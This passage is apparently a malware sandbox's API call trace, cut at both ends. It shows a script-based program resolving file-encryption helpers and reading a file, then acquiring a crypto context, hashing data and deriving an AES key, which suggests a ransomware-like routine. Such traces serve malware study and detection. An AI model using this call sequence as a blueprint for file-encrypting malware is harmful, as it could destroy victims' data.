lpsz="byte[64260]") returned 0xb [0028.838] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.838] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0028.838] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.839] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0028.839] LoadLibraryW (lpLibFileName="msvcrt.dll") returned 0x7ffe2a8b0000 [0028.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0xe8f40645f0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="memset", lpUsedDefaultChar=0x0) returned 7 [0028.839] GetProcAddress (hModule=0x7ffe2a8b0000, lpProcName="memset") returned 0x7ffe2a8b1690 [0028.840] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.840] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.840] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.840] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0028.840] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.840] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.840] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.840] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.840] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.840] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.840] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.840] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.840] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.840] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.840] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.840] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.840] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.840] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.840] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.840] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.840] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0028.840] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.840] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.841] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.841] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0028.841] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.841] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.841] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.841] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.841] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.841] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.841] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0028.841] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.841] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.841] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.841] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.841] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.842] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.842] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.842] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0028.842] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.843] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.843] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.843] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.843] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.843] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0028.843] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=9857) returned 1 [0028.843] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.843] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0028.843] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0028.843] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x2681, lpOverlapped=0x0) returned 1 [0028.843] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0028.843] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x2681, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.843] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=9857) returned 1 [0028.843] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.843] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.843] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.843] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.843] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.843] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0028.843] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.843] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0028.844] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.844] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.844] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0028.844] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.844] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.844] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0028.844] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.844] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0028.844] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0028.844] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.844] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.844] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.844] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.844] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.844] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.844] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0028.844] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0028.844] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.844] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.844] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.844] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.844] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.844] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.844] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.845] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.845] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.845] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.845] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0028.845] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.845] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.845] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.845] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0028.845] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.845] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.845] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.845] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.845] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.845] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0028.845] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.845] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0028.846] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.846] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.846] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0028.846] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.847] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.847] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0028.848] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.848] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.848] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.848] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.849] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.849] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0028.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0xe8f417b120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0028.850] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptCreateHash") returned 0x7ffe2a59e85c [0028.850] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0028.851] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0028.851] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.851] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.851] CryptHashData (hHash=0xe8f40624f0, pbData=0xe8f418ba50, dwDataLen=0x20, dwFlags=0x1) returned 1 [0028.851] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.851] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.851] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.851] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.851] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.851] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.851] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.851] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.851] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f40624f0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062330) returned 1 [0028.851] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.851] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.851] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.851] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.851] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.851] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.852] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0028.852] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.852] CryptDestroyHash (hHash=0xe8f40624f0) returned 1 [0028.852] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.852] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.852] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.852] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.852] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, 